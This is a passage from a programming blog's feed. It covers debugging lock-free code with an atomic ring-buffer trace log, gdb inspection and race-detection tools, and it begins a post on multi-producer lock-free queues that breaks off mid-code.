&lt;p&gt;If you still have a bug then it is more likely to be a &lt;em&gt;classic&lt;/em&gt; bug like mistaking &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or a missing &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; somewhere –&lt;em&gt;and trust me, you will make this kind of errors too&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="lightweight-prints"&gt;Lightweight prints&lt;/h2&gt;
&lt;p&gt;&lt;label for='CkEgYnVmZmVyIG9mIGZpeGVkIHNpemUgcG93ZXIgb2YgMiB3aXRoIGVudHJpZXMgb2YgZml4ZWQgc2l6ZQpzaW1wbGlmeSB0aGUgaW1wbGVtZW50YXRpb24gbWFraW5nIGl0IGZhc3RlciBhbmQgbGVzcyBpbnRydXNpdmUKdGhhbiBhIHBsYWluIGBwcmludGZgLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkEgYnVmZmVyIG9mIGZpeGVkIHNpemUgcG93ZXIgb2YgMiB3aXRoIGVudHJpZXMgb2YgZml4ZWQgc2l6ZQpzaW1wbGlmeSB0aGUgaW1wbGVtZW50YXRpb24gbWFraW5nIGl0IGZhc3RlciBhbmQgbGVzcyBpbnRydXNpdmUKdGhhbiBhIHBsYWluIGBwcmludGZgLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
A buffer of fixed size power of 2 with entries of fixed size simplify the implementation making it faster and less intrusive than a plain &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The idea is to have a global shared ring buffer for logs with multiple writers in mind.&lt;/p&gt;
&lt;p&gt;To avoid race conditions among the writers, the index is incremented atomically before doing each write. This is another example of a &lt;em&gt;reserve-and-then&lt;/em&gt; strategy.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_fetch_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_RELAXED&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tmask&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;thread_id&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seq&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In my &lt;a href="/articles/2020/03/22/Lock-Free-Queue-Part-I.html"&gt;previous post&lt;/a&gt; we saw that a write may not be visible to others until we need &lt;em&gt;commit&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We don’t do this on purpose: if we add a kind of barrier/memory reorder we may be affecting the code under test and we may masking the bug.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgYHNoZWxsCihnZGIpIHNldCBwcmludCBwcmV0dHkgb24KKGdkYikgcCAodHBvcyAtIDUpICYgdG1hc2sKKGdkYikgcCB0YnVmWyRdQDUKYGBgCgpQcmV0dHkgcHJpbnQgdGhlIGxhc3QgNSBlbnRyaWVzLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYHNoZWxsCihnZGIpIHNldCBwcmludCBwcmV0dHkgb24KKGdkYikgcCAodHBvcyAtIDUpICYgdG1hc2sKKGdkYikgcCB0YnVmWyRdQDUKYGBgCgpQcmV0dHkgcHJpbnQgdGhlIGxhc3QgNSBlbnRyaWVzLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;print&lt;span class="w"&gt; &lt;/span&gt;pretty&lt;span class="w"&gt; &lt;/span&gt;on
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;tpos&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tmask
&lt;span class="o"&gt;(&lt;/span&gt;gdb&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;p&lt;span class="w"&gt; &lt;/span&gt;tbuf&lt;span class="o"&gt;[&lt;/span&gt;$&lt;span class="o"&gt;]&lt;/span&gt;@5&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;br /&gt;&lt;br /&gt;
Pretty print the last 5 entries.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Anyways the buffer is not read ever –it is a multiple-writers zero-readers buffer. This idea is to read the buffer from a debugger in a synchronous way so we should not have any race condition.&lt;/p&gt;
&lt;h3 id="what-you-read-is-not-what-it-happen"&gt;What you read is not what it happen&lt;/h3&gt;
&lt;p&gt;Consider the following traced code:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You may think that the trace is enough to know when &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is called.&lt;/p&gt;
&lt;p&gt;You may read&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;thread 1: foo...
thread 2: foo...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;but what happen actually was that thread 2 called &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; before the thread 1:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// thread 1                         // thread 2&lt;/span&gt;
&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;foo...&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Interleaving is possible, and no, you cannot use a mutex there.&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBgYAp0aHJlYWQgMTogYmVnaW4gZm9vLi4uCnRocmVhZCAyOiBiZWdpbiBmb28uLi4KdGhyZWFkIDI6IGVuZCBmb28uLi4KdGhyZWFkIDE6IGVuZCBmb28uLi4KYGBgCgpZb3UgbWF5IHJlYWQgdGhpcyBidXQuLi4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBgYAp0aHJlYWQgMTogYmVnaW4gZm9vLi4uCnRocmVhZCAyOiBiZWdpbiBmb28uLi4KdGhyZWFkIDI6IGVuZCBmb28uLi4KdGhyZWFkIDE6IGVuZCBmb28uLi4KYGBgCgpZb3UgbWF5IHJlYWQgdGhpcyBidXQuLi4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="kr"&gt;thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kr"&gt;thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kr"&gt;thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="kr"&gt;thread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;br /&gt;&lt;br /&gt;
You may read this but…
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Wrapping the code with two traces is a better alternative:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;begin foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;end foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However you still cannot know if thread 1 called &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; before or after the thread 2.&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are inline, the compiler/CPU may see this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;begin foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;foo_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;foo_b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;end foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is an obvious relationship between the first and the second trace instructions so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s"&gt;&amp;quot;begin foo...&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; happens before &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s"&gt;&amp;quot;end foo...&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but nothing prevents the compiler or the CPU to reorder the inline instructions from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So what could happen is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// thread 1                         // thread 2&lt;/span&gt;
&lt;span class="n"&gt;foo_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;foo_b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;begin foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;begin foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;end foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;tbuf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tpos&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;end foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;foo_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="n"&gt;foo_b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So not only thread 1 called &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; thread 2 but even after the log entry &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="s"&gt;&amp;quot;end foo&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the thread 2 &lt;em&gt;didn’t call&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; at all.&lt;/p&gt;
&lt;p&gt;Sorry to say but you don’t have much options and whatever you choose it will affect the precision of the log or it will affect the behaviour of you code under debug.&lt;/p&gt;
&lt;h2 id="automated-tools"&gt;Automated tools&lt;/h2&gt;
&lt;p&gt;This would be the holy grail but we are still far from a tool to detect race conditions in general.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://clang.llvm.org/docs/ThreadSanitizer.html"&gt;Thread Sanitizer&lt;/a&gt;, also known as &lt;em&gt;tsan&lt;/em&gt;, goes in that direction.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://valgrind.org/docs/manual/hg-manual.html"&gt;Helgrind&lt;/a&gt; has been for a while too.&lt;/p&gt;
&lt;p&gt;This is a huge area to explore…&lt;/p&gt;
&lt;h2 id="code"&gt;Code&lt;/h2&gt;
&lt;p&gt;Take at look how &lt;a href="https://github.com/eldipa/loki"&gt;loki library’s&lt;/a&gt; debug facilities are implemented. It humbly supports tracing, mutexes and a compiled version with tsan.&lt;/p&gt;
&lt;p&gt;Alternative methods are welcome!!&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Jeff Preshing’s &lt;a href="https://preshing.com/20120522/lightweight-in-memory-logging/"&gt;lightweight logging&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Shameem Akhter and Jason Roberts’ &lt;a href="https://www.drdobbs.com/cpp/multithreaded-debugging-techniques/199200938?pgno=1"&gt;multithreading debugging techniques&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;References were taken on May 1st.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2020/05/16/Debugging-Lock-Free-Algorithms.html" rel="alternate" type="text/html" title="Debugging Lock Free Algorithms"/>
    <category term="performance" label="performance"/>
    <category term="lock free" label="lock free"/>
    <category term="data structure" label="data structure"/>
    <category term="debugging" label="debugging"/>
    <published>2020-05-16T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2020/04/28/Lock-Free-Queue-Part-II.html</id>
    <title>Lock Free Queue - Part II</title>
    <updated>2020-04-28T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;If implementing a lock-free queue for only one producer and consumer is tricky, adding more producers and consumers moves this to the next level.&lt;/p&gt;
&lt;p&gt;This is the continuation of the &lt;a href="/articles/2020/03/22/Lock-Free-Queue-Part-I.html"&gt;lock-free single-producer single-consumer queue&lt;/a&gt;&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;Not only we need to prevent race conditions between the producers and the consumers but also between producers and between consumers.&lt;/p&gt;
&lt;h2 id="race-between-producers"&gt;Race between producers&lt;/h2&gt;
&lt;p&gt;Recall the first part of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: we load the producer’s head, and calculate if we have enough room for the incoming data and if we have, we update the producer’s head to the next position.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;queue_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;prod_head&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__atomic_load_n&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ATOMIC_ACQUIRE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cons_tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_prod_head&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free_entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

